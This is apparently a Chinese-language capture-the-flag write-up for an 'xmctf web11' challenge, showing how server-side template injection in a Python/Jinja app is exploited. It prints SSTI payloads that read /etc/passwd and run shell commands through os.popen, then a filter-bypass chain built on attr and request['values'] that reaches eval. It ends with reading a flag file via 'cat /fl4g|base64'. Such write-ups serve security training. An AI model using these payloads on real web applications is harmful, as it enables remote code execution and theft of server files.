输入name=1发现存在回显,猜测为模板注入,经过测试发现过滤了 . _
和一些关键字 py2模板注入常见payload ().__class__.__bases__[0].__subclasses__()[40](r'/etc/passwd').read()
().__class__.__bases__[0].__subclasses__()[59].__init__.func_globals.values()[13]['eval']('__import__("os").popen("ls /").read()' )
''.__class__.__mro__[-1].__subclasses__()[59].__init__.__globals__['__builtins__']['eval']('__import__("os").popen("ls /").read()' )
过滤了.
可以用getattr或者attr绕过 例如 ''.__class__
可以写成 getattr('',"__class__")
或者 ''|attr("__class__")
过滤了_
可以用dir(0)[0][0]
或者request['args']
或者 request['values']
绕过 因为还过滤了 args所以我们用request['values']
和attr结合绕过 例如''.__class__
写成 ''|attr(request['values']['x1'])
,然后post传入x1=__class__
最终payload?name={{ ()|attr(request['values']['x1'])|attr(request['values']['x2'])| attr(request['values']['x3'])()|attr(request['values']['x6'])(233)| attr(request['values']['x4'])| attr(request['values']['x5'])| attr(request['values']['x6'])(request['values']['x7'])| attr(request['values']['x6'])(request['values']['x8'])(request['values']['x9']) }}
然后post传入x1=__class__&x2=__base__&x3=__subclasses__&x4=__init__&x5=__globals__&x6=__getitem__&x7=__builtins__&x8=eval&x9=__import__("os").popen('想要执行的命令').read()
发现在根目录下又flag但是打不开,我这里使用的base64编码绕过的 cat /fl4g|base64
xmctf web11-考核(模板注入绕过)
web11-考核(模板注入绕过)
关注
打赏